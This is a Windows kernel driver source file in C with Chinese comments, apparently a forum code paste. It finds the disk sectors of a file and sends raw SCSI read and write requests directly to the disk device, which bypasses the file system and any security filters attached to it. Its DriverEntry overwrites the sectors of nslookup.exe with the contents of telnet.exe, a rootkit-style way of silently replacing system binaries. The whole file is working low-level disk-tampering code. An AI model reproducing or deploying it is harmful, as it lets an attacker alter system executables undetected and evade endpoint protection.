复制代码
- #include<ntddk.h>
- #include<srb.h>
- #define FSCTL_GET_RETRIEVAL_POINTERS 0x90073
- #define PARTITION_TYPE_NTFS 0x07
- #define PARTITION_TYPE_FAT32 0x0B
- #define PARTITION_TYPE_FAT32_LBA 0x0C
- extern POBJECT_TYPE* IoDriverObjectType;
- LARGE_INTEGER realdiskpos;
- ULONG sectorspercluster;
- typedef struct RETRIEVAL_POINTERS_BUFFER {
- ULONG ExtentCount;
- LARGE_INTEGER StartingVcn;
- struct {
- LARGE_INTEGER NextVcn;
- LARGE_INTEGER Lcn;
- } Extents[1];
- } RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER;
- typedef struct { LARGE_INTEGER StartingVcn;
- } STARTING_VCN_INPUT_BUFFER, *PSTARTING_VCN_INPUT_BUFFER;
- typedef struct _SENSE_DATA {
- unsigned char Valid;
- unsigned char SegmentNumber;
- unsigned char FileMark;
- unsigned char Information[4];
- unsigned char AdditionalSenseLength;
- unsigned char CommandSpecificInformation[4];
- unsigned char AdditionalSenseCode;
- unsigned char AdditionalSenseCodeQualifier;
- unsigned char FieldReplaceableUnitCode;
- unsigned char SenseKeySpecific[3];
- } SENSE_DATA, *PSENSE_DATA;
- #pragma pack(1)
- typedef struct _PARTITION_ENTRY
- {
- UCHAR active;
- UCHAR StartHead;
- UCHAR StartSector;
- UCHAR StartCylinder;
- UCHAR PartitionType;
- UCHAR EndHead;
- UCHAR EndSector;
- UCHAR EndCylinder;
- ULONG StartLBA;
- ULONG TotalSector;
- } PARTITION_ENTRY, *PPARTITION_ENTRY;
- typedef struct _MBR_SECTOR
- {
- UCHAR BootCode[446];
- PARTITION_ENTRY Partition[4];
- USHORT Signature;
- } MBR_SECTOR, *PMBR_SECTOR;
- typedef struct _BBR_SECTOR
- {
- USHORT JmpCode;
- UCHAR NopCode;
- UCHAR OEMName[8];
- USHORT BytesPerSector;
- UCHAR SectorsPerCluster;
- USHORT ReservedSectors;
- UCHAR NumberOfFATs;
- USHORT RootEntries;
- USHORT NumberOfSectors16;
- UCHAR MediaDescriptor;
- USHORT SectorsPerFAT16;
- USHORT SectorsPerTrack;
- USHORT HeadsPerCylinder;
- ULONG HiddenSectors;
- ULONG NumberOfSectors32;
- ULONG SectorsPerFAT32;
- } BBR_SECTOR, *PBBR_SECTOR;
- #pragma pack()
- typedef struct _SYSTEM_MODULE_INFORMATION {
- ULONG Reserved[2];
- PVOID Base;
- ULONG Size;
- ULONG Flags;
- USHORT Index;
- USHORT Unknown;
- USHORT LoadCount;
- USHORT ModuleNameOffset;
- CHAR ImageName[255];
- } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
- NTSYSAPI
- NTSTATUS
- NTAPI
- ObReferenceObjectByName(
- IN PUNICODE_STRING ObjectName,
- IN ULONG Attributes,
- IN PACCESS_STATE AccessState OPTIONAL,
- IN ACCESS_MASK DesiredAccess OPTIONAL,
- IN POBJECT_TYPE ObjectType,
- IN KPROCESSOR_MODE AccessMode,
- IN OUT PVOID ParseContext OPTIONAL,
- OUT PVOID* Object );
- NTSYSAPI
- NTSTATUS
- NTAPI
- ZwQuerySystemInformation(
- IN ULONG SystemInformationClass,
- IN OUT PVOID SystemInformation,
- IN ULONG SystemInformationLength,
- OUT PULONG ReturnLength);
- NTSTATUS
- IrpCompletionRoutine(
- IN PDEVICE_OBJECT DeviceObject,
- IN PIRP Irp,
- IN PVOID Context
- ){
- PMDL mdl;
- Irp->UserIosb->Status=Irp->IoStatus.Status;
- Irp->UserIosb->Information=Irp->IoStatus.Information;
- if(! Context)
- {
- mdl=Irp->MdlAddress;
- if(mdl){
- DbgPrint("read size: %d..", Irp->IoStatus.Information);
- MmUnlockPages(mdl);
- IoFreeMdl(mdl);
- }}
- KeSetEvent(Irp->UserEvent, IO_NO_INCREMENT, 0);
- IoFreeIrp(Irp);
- return STATUS_MORE_PROCESSING_REQUIRED;
- }
- NTSTATUS IrpCompletionRoutine_0(
- IN PDEVICE_OBJECT DeviceObject,
- IN PIRP Irp,
- IN PVOID Context
- ){
- PMDL mdl;
- Irp->UserIosb->Status=Irp->IoStatus.Status;
- Irp->UserIosb->Information=Irp->IoStatus.Information;
- if (! Context )
- {
- mdl=Irp->MdlAddress;
- if ( mdl )
- {
- DbgPrint("read size: %d..", Irp->IoStatus.Information);
- MmUnlockPages(mdl);
- IoFreeMdl(mdl);
- }
- }
- KeSetEvent(Irp->UserEvent, IO_NO_INCREMENT, 0);
- IoFreeIrp(Irp);
- return STATUS_MORE_PROCESSING_REQUIRED;
- }
- ULONG GetModuleBase(char* name){
- ULONG n,i ;
- PSYSTEM_MODULE_INFORMATION module;
- PVOID pbuftmp;
- char modulename[255];
- ZwQuerySystemInformation(11, &n, 0, &n);
- pbuftmp = ExAllocatePool(NonPagedPool, n);
- ZwQuerySystemInformation(11, pbuftmp, n, NULL);
- module = (PSYSTEM_MODULE_INFORMATION)((PULONG )pbuftmp + 1 );
- n = *((PULONG)pbuftmp );
- for ( i = 0; i < n; i++ )
- {
- strcpy(modulename,module[i].ImageName + module[i].ModuleNameOffset);
- if(!_strnicmp(modulename,name,strlen(name))){
- ExFreePool(pbuftmp);
- return (ULONG)module[i].Base;
- }
- }
- ExFreePool(pbuftmp);
- return 0;
- }
- NTSTATUS MyIoCallDriver(PDEVICE_OBJECT DeviceObject,PIRP Irp)//自己的IoCallDriver
- {
- PIO_STACK_LOCATION stack;
- --Irp->CurrentLocation;
- stack = IoGetNextIrpStackLocation( Irp );
- Irp->Tail.Overlay.CurrentStackLocation= stack;//移动堆栈
- stack->DeviceObject=DeviceObject;
- return (DeviceObject->DriverObject->MajorFunction[(ULONG)stack->MajorFunction])(DeviceObject, Irp);
- }
- ULONG AtapiReadWriteDisk(PDEVICE_OBJECT dev_object,ULONG MajorFunction, PVOID buffer,ULONG DiskPos, int BlockCount)
- {
- NTSTATUS status;
- PSCSI_REQUEST_BLOCK srb;
- PSENSE_DATA sense;
- KEVENT Event;
- PIRP irp;
- PMDL mdl;
- IO_STATUS_BLOCK isb;
- PIO_STACK_LOCATION isl;
- PVOID psense;
- int count=8;
- while(1){
- srb=ExAllocatePool(0,sizeof(SCSI_REQUEST_BLOCK));
- if(!srb)
- break;
- sense=ExAllocatePool(0,sizeof(SENSE_DATA));
- psense=sense;
- if(!sense)
- break;
- memset(srb,0,sizeof(SCSI_REQUEST_BLOCK));
- memset(sense,0,sizeof(SENSE_DATA));
- srb->Length=sizeof(SCSI_REQUEST_BLOCK);//更多关于srb,请看《SCSI 总线和IDE接口:协议、应用和编程》和《SCSI程序员指南》
- srb->Function=0;
- srb->DataBuffer=buffer;
- srb->DataTransferLength=BlockCount<<9;//sector size*number of sector
- srb->QueueAction=SRB_FLAGS_DISABLE_AUTOSENSE;
- srb->SrbStatus=0;
- srb->ScsiStatus=0;
- srb->NextSrb=0;
- srb->SenseInfoBuffer=sense;
- srb->SenseInfoBufferLength=sizeof(SENSE_DATA);
- if(MajorFunction==IRP_MJ_READ)
- srb->SrbFlags=SRB_FLAGS_DATA_IN;
- else
- srb->SrbFlags=SRB_FLAGS_DATA_OUT;
- if(MajorFunction==IRP_MJ_READ)
- srb->SrbFlags|=SRB_FLAGS_ADAPTER_CACHE_ENABLE;
- srb->SrbFlags|=SRB_FLAGS_DISABLE_AUTOSENSE;
- srb->TimeOutValue=(srb->DataTransferLength>>10)+1;
- srb->QueueSortKey=DiskPos;
- srb->CdbLength=10;
- srb->Cdb[0]=2*((UCHAR)MajorFunction+ 17);
- srb->Cdb[1]=srb->Cdb[1] & 0x1F | 0x80;
- srb->Cdb[2]=(unsigned char)(DiskPos>>0x18)&0xFF; //
- srb->Cdb[3]=(unsigned char)(DiskPos>>0x10)&0xFF; //
- srb->Cdb[4]=(unsigned char)(DiskPos>>0x08)&0xFF; //
- srb->Cdb[5]=(UCHAR)DiskPos; //填写sector位置
- srb->Cdb[7]=(UCHAR)BlockCount>>0x08;
- srb->Cdb[8]=(UCHAR)BlockCount;
- //By:Eros412
- KeInitializeEvent(&Event, 0, 0);
- irp=IoAllocateIrp(dev_object->StackSize,0);
- mdl=IoAllocateMdl(buffer, BlockCount<<9, 0, 0, irp);
- irp->MdlAddress=mdl;
- if(!mdl){
- ExFreePool(srb);
- ExFreePool(psense);
- IoFreeIrp(irp);
- return STATUS_INSUFFICIENT_RESOURCES;
- }
- MmProbeAndLockPages(mdl,0,(MajorFunction==IRP_MJ_READ?0:1));
- srb->OriginalRequest=irp;
- irp->UserIosb=&isb;
- irp->UserEvent=&Event;
- irp->IoStatus.Status=0;
- irp->IoStatus.Information=0;
- irp->Flags=IRP_SYNCHRONOUS_API|IRP_NOCACHE;
- irp->AssociatedIrp.SystemBuffer=0;
- irp->Cancel=0;
- irp->RequestorMode=0;
- irp->CancelRoutine=0;
- irp->Tail.Overlay.Thread=PsGetCurrentThread();
- isl=IoGetNextIrpStackLocation(irp);
- isl->DeviceObject=dev_object;
- isl->MajorFunction=IRP_MJ_SCSI;
- isl->Parameters.Scsi.Srb=srb;
- isl->CompletionRoutine=IrpCompletionRoutine_0;
- isl->Context=srb;
- isl->Control=SL_INVOKE_ON_CANCEL|SL_INVOKE_ON_SUCCESS|SL_INVOKE_ON_ERROR;
- status=MyIoCallDriver(dev_object,irp);
- KeWaitForSingleObject(&Event, 0, 0, 0, 0);
- if(srb->SenseInfoBuffer!=psense&&srb->SenseInfoBuffer)
- ExFreePool(srb->SenseInfoBuffer);
- ExFreePool(srb);
- ExFreePool(psense);
- if ( status >= 0 || !count )
- return status;
- DbgPrint("Send XXX Failed..%08x/r/n", status);
- KeStallExecutionProcessor(1u);
- --count;
- }
- return STATUS_INSUFFICIENT_RESOURCES;
- }
- PDEVICE_OBJECT GetLastDiskDeviceObject(PDRIVER_OBJECT drv_object)//这个就是DR0
- {
- PDEVICE_OBJECT result;
- PDEVICE_OBJECT finddev;
- finddev=drv_object->DeviceObject;
- result=NULL;
- while (finddev)
- {
- if (finddev->DeviceType==FILE_DEVICE_DISK)
- result = finddev;
- finddev=finddev->NextDevice;
- }
- return result;
- }
- PDEVICE_OBJECT GetAtaDr0DevObject(){
- UNICODE_STRING diskstr;
- PDRIVER_OBJECT diskdrv;
- PDEVICE_OBJECT dr0dev;
- RtlInitUnicodeString(&diskstr, L"//Driver//Disk");
- if(ObReferenceObjectByName(&diskstr,64,0,0,*IoDriverObjectType,0,0,&diskdrv)<0)
- return NULL;
- dr0dev=GetLastDiskDeviceObject(diskdrv);
- if(dr0dev)
- DbgPrint("Eros412 said : ata dr0 dev obj is : %08x...",dr0dev);
- ObfDereferenceObject(diskdrv);
- return dr0dev;
- }
- PDEVICE_OBJECT GetFileObjectDevice(PFILE_OBJECT Object){
- PDEVICE_OBJECT result=NULL;
- PVPB vpb;
- vpb=Object->Vpb;
- result=vpb->DeviceObject;
- if(!vpb||!result)
- {
- if(!Object->DeviceObject->Vpb||!Object->DeviceObject->Vpb->DeviceObject)
- result=Object->DeviceObject;
- }
- return result;
- }
- PLARGE_INTEGER GetPosAndCluster()//得到第一个分区文件数据的起始位置
- {
- PVOID buffer;
- ULONG type,startlba;
- int i;
- PLARGE_INTEGER result;
- PDEVICE_OBJECT dev;
- PMBR_SECTOR mbrsec;
- PPARTITION_ENTRY partition0;
- PBBR_SECTOR bootsec;
- result=ExAllocatePool(0,sizeof(LARGE_INTEGER));
- dev=GetAtaDr0DevObject();
- if(dev){
- buffer=ExAllocatePool(0,512);
- memset(buffer,0,512);
- if(AtapiReadWriteDisk(dev, IRP_MJ_READ, buffer, 0, 1)>0)
- DbgPrint("AtapiReadWriteDisk ok");
- mbrsec=(PMBR_SECTOR)buffer;
- partition0=&mbrsec->Partition[0];
- startlba=partition0[0].StartLBA;
- type=partition0[0].PartitionType;
- DbgPrint("dwPartOnePos:0x%08x..1", startlba);
- result->QuadPart=startlba;
- memset(buffer,0,512);
- if(AtapiReadWriteDisk(dev, IRP_MJ_READ, buffer, startlba, 1)>0){
- bootsec=(PBBR_SECTOR)buffer;
- DbgPrint("gSectorsPerCluster:%d...", bootsec->SectorsPerCluster);
- sectorspercluster=bootsec->SectorsPerCluster;
- }
- result->QuadPart+=bootsec->ReservedSectors;
- DbgPrint("dwPartOnePos:%I64x..2/r/n", result->QuadPart);
- if(type==PARTITION_TYPE_FAT32||type==PARTITION_TYPE_FAT32_LBA)
- result->QuadPart+=bootsec->NumberOfFATs*bootsec->SectorsPerFAT32;
- DbgPrint("dwPartOnePos:%I64x..3/r/n", result->QuadPart);
- }
- else
- result->QuadPart=0;
- return result;
- }
- NTSTATUS OpenFile(PHANDLE FileHandle,PWCHAR filename)
- {
- NTSTATUS status;
- ULONG v3;
- int v5;
- UNICODE_STRING DestinationString;
- OBJECT_ATTRIBUTES ObjectAttributes;
- struct _IO_STATUS_BLOCK IoStatusBlock;
- RtlInitUnicodeString(&DestinationString, filename);//L"//SystemRoot//System32//userinit.exe"
- ObjectAttributes.ObjectName = &DestinationString;
- ObjectAttributes.Length = 24;
- ObjectAttributes.RootDirectory = 0;
- ObjectAttributes.Attributes =OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE;// 576;
- ObjectAttributes.SecurityDescriptor = 0;
- ObjectAttributes.SecurityQualityOfService = 0;
- status = IoCreateFile(FileHandle, GENERIC_READ , &ObjectAttributes, &IoStatusBlock, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_OPEN , 0x50u, 0, 0, 0, 0, 0);
- if ( status != STATUS_SUCCESS)
- DbgPrint("Open File failed...%08x..", status );
- return status;
- }
- PLARGE_INTEGER getfilesize(PWCHAR filename){
- PLARGE_INTEGER filesize;
- HANDLE hfile;
- IO_STATUS_BLOCK IoStatusBlock;
- filesize=ExAllocatePool(0,sizeof(LARGE_INTEGER));
- OpenFile(&hfile,filename);
- ZwQueryInformationFile(hfile, &IoStatusBlock, filesize, 24, FileStandardInformation);
- return filesize;
- }
- NTSTATUS InitSectors(PWCHAR filename){//得到文件在扇区的位置,存放在realdiskpos
- PLARGE_INTEGER diskpos;
- NTSTATUS status,newstatus;
- HANDLE filehandle;
- PVOID testingpool;
- IO_STATUS_BLOCK iosb;
- LARGE_INTEGER ByteOffset;
- PFILE_OBJECT Object;
- PDEVICE_OBJECT dev;
- PIRP irp;
- KEVENT Event;
- IO_STATUS_BLOCK iosb2;
- PIO_STACK_LOCATION nextio;
- STARTING_VCN_INPUT_BUFFER StartVcn;
- unsigned char abBuffer[1024];
- PRETRIEVAL_POINTERS_BUFFER pVcnPairs;
- realdiskpos.QuadPart=0;
- StartVcn.StartingVcn.QuadPart=0;
-
- memset(abBuffer, 0, 1024);
- pVcnPairs = (PRETRIEVAL_POINTERS_BUFFER)abBuffer;
- if(OpenFile(&filehandle,filename)!= STATUS_SUCCESS)
- return 1;
- testingpool=ExAllocatePool(0,512);
- ByteOffset.QuadPart=0;
- if(ZwReadFile(filehandle,0,0,0,&iosb,testingpool,512,&ByteOffset,0)!=STATUS_SUCCESS){
- DbgPrint("ZwReadFile error");
- goto end;
- }
- if(ObReferenceObjectByHandle(filehandle,0,(POBJECT_TYPE)*IoFileObjectType,0,&Object,0)<0){
- DbgPrint("ObReferenceObjectByHandle error");
- goto end;
- }
- dev=GetFileObjectDevice(Object);
- if(!dev){
- DbgPrint("Get Device Object error");
- goto end2;
- }
- DbgPrint("pDevObj is: %08x...",dev);
- irp=IoAllocateIrp( dev->StackSize, 0);
- if(irp==NULL)
- goto end2;
- KeInitializeEvent(&Event, SynchronizationEvent, 0);
- irp->AssociatedIrp.SystemBuffer=&StartVcn;
- irp->UserBuffer=pVcnPairs;
- irp->UserEvent=&Event;
- irp->MdlAddress=0;
- irp->UserIosb=&iosb2;
- irp->RequestorMode=KernelMode;
- irp->Tail.Overlay.Thread=PsGetCurrentThread();
- irp->Tail.Overlay.OriginalFileObject=Object;
- irp->Flags = 0;
- nextio = IoGetNextIrpStackLocation(irp);
- nextio->MajorFunction=IRP_MJ_FILE_SYSTEM_CONTROL;
- nextio->DeviceObject=dev;
- nextio->FileObject=Object;
- nextio->Parameters.FileSystemControl.InputBufferLength= sizeof(STARTING_VCN_INPUT_BUFFER);
- nextio->Parameters.FileSystemControl.FsControlCode=FSCTL_GET_RETRIEVAL_POINTERS;
- nextio->Parameters.FileSystemControl.Type3InputBuffer=&StartVcn;
- nextio->Parameters.FileSystemControl.OutputBufferLength=1024;
- nextio->CompletionRoutine=IrpCompletionRoutine;
- nextio->Context=0;
- nextio->Control=SL_INVOKE_ON_CANCEL|SL_INVOKE_ON_SUCCESS|SL_INVOKE_ON_ERROR;
-
- MyIoCallDriver(dev,irp);
- KeWaitForSingleObject(&Event, 0,0,0, NULL);
- newstatus = iosb2.Status;
- if(newstatus<0){
- DbgPrint("MyIofCallDriver failed:%08x...",newstatus);
- goto end2;
- }
- DbgPrint("ExtentCount = %d",pVcnPairs->ExtentCount);
- DbgPrint("StartLcn = %I64x",pVcnPairs->Extents[0].Lcn.QuadPart);
- diskpos=GetPosAndCluster();
- realdiskpos.QuadPart=diskpos->QuadPart+sectorspercluster*pVcnPairs->Extents[0].Lcn.QuadPart;
- if(diskpos){
- DbgPrint("gDiskPos is: %I64x..Cluster:%d...part offset: %08x..",realdiskpos.QuadPart,sectorspercluster,diskpos->QuadPart);
- }
- return 0;
- end2:
- if(irp!=NULL)
- IoFreeIrp(irp);
- ObDereferenceObject(Object);
- end:
- ZwClose(filehandle);
- if(testingpool)
- ExFreePool(testingpool);
- return 1;
- }
- VOID DriverUnload(
- IN PDRIVER_OBJECT DriverObject
- ){
- }
- NTSTATUS
- DriverEntry(
- IN PDRIVER_OBJECT DriverObject,
- IN PUNICODE_STRING RegistryPath
- ){
- PLARGE_INTEGER filesize;
- PDEVICE_OBJECT dev;
- PVOID buf;
- ULONG psector;
- DriverObject->DriverUnload =DriverUnload;
- InitSectors(L"//??//c://telnet.exe");//找了两个大小差不多的文件,把telnet.exe的binary code拷贝到nslookup.exe,系统重启后生效(注:当exe执行时
- FSD从cache里把内容拷贝过来,所以需要重启)
- filesize=getfilesize(L"//??//c://telnet.exe");
- buf=ExAllocatePool(0,filesize->LowPart);
- memset(buf,0x00,filesize->LowPart);
- dev=GetAtaDr0DevObject();
- psector=realdiskpos.LowPart;
- if(dev!=NULL&&psector!=0&&buf!=NULL){
- AtapiReadWriteDisk(dev,IRP_MJ_READ,buf,psector,(filesize->LowPart/512)+1);
- InitSectors(L"//??//c://nslookup.exe");
- filesize=getfilesize(L"//??//c://nslookup.exe");
- psector=realdiskpos.LowPart;
- AtapiReadWriteDisk(dev,IRP_MJ_WRITE,buf,psector,(filesize->LowPart/512)+1);
- }
- return STATUS_SUCCESS;
- }
|